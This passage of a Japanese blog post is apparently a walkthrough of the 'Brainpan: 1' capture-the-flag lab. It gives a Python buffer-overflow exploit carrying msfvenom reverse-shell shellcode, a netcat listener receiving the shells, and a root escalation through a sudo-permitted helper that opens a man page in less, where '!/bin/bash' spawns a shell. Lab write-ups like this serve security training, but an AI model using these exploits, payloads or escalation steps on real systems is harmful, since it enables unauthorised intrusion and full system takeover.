"\x23\x73\x52\x71\xed\x74\x1f\x61\x9a\x74\x6a\xdb\x0d\x8a\x40"
"\x73\xd1\x19\x0f\x83\x9c\x01\x98\xd4\xc9\xf4\xd1\xb0\xe7\xaf"
"\x4b\xa6\xf5\x36\xb3\x62\x22\x8b\x3a\x6b\xa7\xb7\x18\x7b\x71"
"\x37\x25\x2f\x2d\x6e\xf3\x99\x8b\xd8\xb5\x73\x42\xb6\x1f\x13"
"\x13\xf4\x9f\x65\x1c\xd1\x69\x89\xad\x8c\x2f\xb6\x02\x59\xb8"
"\xcf\x7e\xf9\x47\x1a\x3b\x19\xaa\x8e\x36\xb2\x73\x5b\xfb\xdf"
"\x83\xb6\x38\xe6\x07\x32\xc1\x1d\x17\x37\xc4\x5a\x9f\xa4\xb4"
"\xf3\x4a\xca\x6b\xf3\x5e")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + NOP + shellcode)
s.close()

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、Pythonコマンドを実行します。

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.242] from (UNKNOWN) [172.16.208.128] 49218
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\bin>hostname
hostname
VMOSX-WIN7-CNT

アクセスの取得

これまでに判明した、brainpan.exeが抱えるバッファオーバーフローの脆弱性と、ペイロードを組み合わせて、「Brainpan: 1」のアクセスの取得を狙います。

Brainpan: 1」はLinuxターゲットです。このため、再度、msfvenomコマンドを使用して、Linux対応なリバースシェルシェルコードを生成します。

root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 -a x86 --platform linux -b "\x00" -f c > shellcode_lin.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
root@kali:~#

用意したshellcode_lin.txtを送信するようにコードを書き換えます。

#!/usr/bin/python
import sys,socket
host = "172.16.208.233"
port = 9999

junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
NOP = "\x90" * 8

shellcode = ("\xb8\x45\x12\x30\x8d\xda\xd8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x12\x83\xc3\x04\x31\x43\x0e\x03\x06\x1c\xd2\x78\xb9\xfb\xe5"
"\x60\xea\xb8\x5a\x0d\x0e\xb6\xbc\x61\x68\x05\xbe\x11\x2d\x25"
"\x80\xd8\x4d\x0c\x86\x1b\x25\x23\x68\x0c\x47\x53\x8b\xac\xb6"
"\xf8\x02\x4d\x08\x66\x45\xdf\x3b\xd4\x66\x56\x5a\xd7\xe9\x3a"
"\xf4\x86\xc6\xc9\x6c\x3f\x36\x01\x0e\xd6\xc1\xbe\x9c\x7b\x5b"
"\xa1\x90\x77\x96\xa2")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + NOP + shellcode)
s.close()

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、Pythonコマンドを実行します。

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.242] from (UNKNOWN) [172.16.208.233] 58149
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
hostname
brainpan

システム探索

pythonコードで、ncシェルをTTYシェルにアップグレードします。

python -c "import pty; pty.spawn('/bin/bash')"
puck@brainpan:/home/puck$

sudo権限が付与されていれば、特権昇格の手間を省くことができそうです。sudo -lコマンド構文にて確認してみます。

puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$

(root) NOPASSWD: /home/anansi/bin/anansi_utilの記録に注目します。パスワードなしでsudo権限が付与されているようです。実際に、実行してみます。

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
puck@brainpan:/home/puck$

特権の引き上げ

anansi_utilバイナリはlessコマンドを使用してマニュアルページを表示する機能を提供しています。lessコマンドには、閲覧中に任意のシェルコマンドを実行できる機能が提供されています。

  • lessで表示している際の主なキー操作
キー操作 内容
!コマンド シェルでコマンドを実行する(シェルは環境変数SHELLで変更可能)

この機能の裏をついて、/bin/bashを起動してみましょう。

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual /bin/bash
sudo /home/anansi/bin/anansi_util manual /bin/bash
/usr/bin/man: manual-/bin/bash: No such file or directory
/usr/bin/man: manual_/bin/bash: No such file or directory
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man#

特権昇格に成功しました。特権昇格後、/rootディレクトリを探索します。b.txtファイルが確認できます。

root@brainpan:~# cd /root; hostname; id; cat b.txt
cd /root; hostname; id; cat b.txt
brainpan
uid=0(root) gid=0(root) groups=0(root)
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com 



root@brainpan:~#

参考資料

4
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
0